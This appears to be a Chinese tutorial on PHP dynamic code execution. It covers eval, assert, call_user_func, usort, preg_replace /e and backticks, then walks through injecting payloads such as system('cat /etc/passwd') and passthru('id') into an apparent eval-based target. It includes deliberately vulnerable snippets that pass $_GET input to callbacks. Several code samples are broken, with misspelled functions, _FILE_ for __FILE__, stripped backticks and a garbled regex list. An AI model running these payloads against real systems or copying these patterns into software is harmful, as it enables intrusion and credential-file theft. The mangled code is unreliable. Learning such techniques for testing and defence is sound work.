概述

image.png
在代码里执行代码,终其目的,是解释性语言为了让程序更具备灵活性,能把代码即时性的翻译并执行。
在php里,被我们熟知的2个函数被用来动态执行代码:

eval

image.png
image.png
tip: 看手册是一种能力的提现,有官网手册参考,是最好的帮助。
https://www.php.net/manual/zh/function.eval.php

assert

image.png
https://www.php.net/manual/zh/function.assert.php

很多绝好的技巧,基本上都是挖掘自官网的帮助手册? 真正的剑谱!

call_user_func()

  1. <?php
  2. highlight_file(_FILE_);
  3. $a='system';
  4. $b='pwd';
  5. call_user_func($a,$b);
  6. call_user_func('assert','phpinfo()');
  7. ?>

$a=’system’;
$b=’pwd’;
call_user_func($a,$b),第一个参数是回调函数,第二个是给调用的函数传递的参数
就会执行system(‘pwd’)

以下函数不能被call_user_func()调用:
array()、echo()、empty()、eval()、exit()、isset()、list()、print()、unset()

call_user_func_array()

$a=’assert’;
$b=array(‘phpinfo()’);
call_user_func_array($a,$b) 第一个参数是被调用的回调函数,第二个参数是要被传入回调函数的数组

create_function()

  1. <?php
  2. highlight_file(_FILE_);
  3. $a=create_function('$code','echo $code;');
  4. $b='hello';
  5. $a($b);
  6. $a='phpinfo();';
  7. $b=create_fuction(' ',$a);
  8. $b();
  9. ?>

$a=create_function(‘$code’,’echo $code;’);
$b=’hello’;
$a($b);
创建了一个匿名函数,直接给了$a,第一个参定义了一个参数,第二个参数定义了执行效果

array_map()
arraymap 为数组的每个元素应用回调函数
<?phphighlight_file(_FILE
);
$a=$_GET[‘a’];
$b=$_GET[‘b’];
$array[0]=$b;
$c=array_map($a,$array);
?>

usort()

使用用户自定义的比较函数对数组中的值进行排序

  1. <?php
  2. highlight_file(_FILE_);
  3. usort(...$_GET);
  4. #usort($_GET[1],'assert')
  5. ?>

利用的时候要传两个参数:1[]=phpinfo&1[]=123&2=assert,传的命令要放在数组的第一个

${phpinfo}

${里面的命令当作php代码执行}

system()
执行系统命令

  1. <?
  2. php highlight_file(_FILE_);
  3. system('pwd');
  4. system('whoami');
  5. ?>

preg_replace /e

执行一个正则表达式的搜索和替换
preg_replace($pattern, $replacement, $subject)
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换

  1. <?php
  2. $str = 'fl ag';
  3. $str = preg_replace('/\s+/', ' ', $str);
  4. echo $str;// 将会改变为'fl ag'
  5. ?>

image.png

如果您尝试匹配该字符,则应转义以下内容 \ ^。 $ | ()[]

  • +? {}, 特殊字符定义 \引用下一个元字符 ^匹配行首 。匹配任何字符(换行符除外) $匹配行尾(或在换行符之前) |轮换 ()分组

[]角色类别

*匹配0次或更多次

+匹配1次或更多次

?匹配1或0次

{n}完全匹配n次

{n,}至少匹配n次

{n,m}至少匹配n次,但不超过m次

更多特殊字符的东西

\t 标签(HT,TAB)

\n 换行符(LF,NL)

\r 返回(CR)

\f 换页(FF)

\a 警报(响铃)(BEL)

\e 转义(认为troff)(ESC)

\033 八进制字符(以PDP-11为例)

\x1B 十六进制字符

\c[ 控制字符

\l 小写的下一个字符(想想vi)

\u 大写的下一个字符(想想vi)

\L 小写字母到\ E(想vi)

\U 大写字母直到\ E(想vi)

\E 结束案例修改(想想vi)

\Q 引用(禁用)模式元字符,直到\ E

甚至更多特殊字符

\w 匹配一个“单词”字符(字母数字加“ _”)

\W 匹配非单词字符

\s 匹配空白字符

\S 匹配非空格字符

\d 匹配数字字符

\D 匹配一个非数字字符

\b 匹配单词边界

\B 匹配非(单词边界)

\A 仅在字符串开头匹配

\Z 仅在字符串末尾或换行符末尾匹配

\z 仅在字符串末尾匹配

\G 仅在上一个m // g停止的地方匹配(仅适用于/ g)

如果他的 $pattern 有一个 /e 的修饰符,则可能有代码执行的风险

  1. <?php
  2. function complexStrtolower($regex,$value){
  3. return preg_replace(
  4. '/('. $regex . ')/ei',
  5. 'strtolower("\\1")',
  6. $value
  7. );
  8. }
  9. foreach($_GET as $regex => $value){
  10. echo complexStrtolower($regex,$value) . "\n";
  11. }
  12. print_r($_GET);
  13. ?>

相当于 eval(‘strtolower(“\1”);’)
而 \1 就是 \1 也就是匹配到的第一个

如果是这样的话就可以执行 phpinfo

  1. <?php
  2. preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}');
  3. ?>

image.png
但是如果传入的话 . 会被替换为 _,可以用其他通配符代替,比如\S*

漏洞初探

尝试输入一些一般字符和php内部的函数进行测试。
image.png
返回一片空白。
image.png
返回一片空白。
image.png
返回一片空白。
image.png
image.png
image.png
image.png
连phpinfo()内置函数也执行了,可以看到许多php模块集中信息出来。

开脑洞

提交喜欢的字符串,有暗示使用eval函数。eval函数我们可以输入常规的php代码,在探索中,我们发现,需要提交符合php语法格式的代码。若我们提交的是恶意的代码,是否可以让系统执行我们想运行的命令。执行函数很多,我们可以一一测试。
比如,我首先就想到让远程执行代码去远程执行命令,调用shell_exec函数。

shell_exec(“cat /etc/passwd”);

试试看,很可惜没有执行成功,空白页。注意,目标系统的过往史我们其实并不是很清楚,又不是APT攻击。所以,当一个函数不能被执行的时候,我们可以尝试其他的函数组合。
于是,我们把可以代码执行命令的方法都测试一次。这次脑洞如果打不开,换换脑子,再来开。

漏洞实战

带入 exec(‘ls’);
image.png
测试失败。

带入 system(‘ls’);
image.png
测试成功。

带入 system(‘cat /etc/passwd’);
image.png
测试成功。

带入 passthru(“id”);
image.png
测试成功。

带入 echo(cat /etc/passwd);
image.png
执行成功。

引申技巧

符号 `
位置,我给大家拍个照片看看:
740a3f1103fddc3b19115ee86cec50b.jpg
就这个符号。
根据php的语言特性,但凡用这个字符包裹起来的字符串,都会被传入到系统底层去执行,然后把执行后的结果反馈回来。配合echo和字符串连接使用的话,会起到命令执行的效果。

<?php
$output = ls -al;
echo “

  1. $output
“;
?>

<?php
$host = ‘www.163.com’;
echo ping -n 3 {$host};
?>

注意:

关闭了 shell_exec() 时反引号运算符是无效的。 与其它某些语言不同,反引号不能在双引号字符串中使用。但$变量可以直接在双引号包裹中被替换。

摘自官网!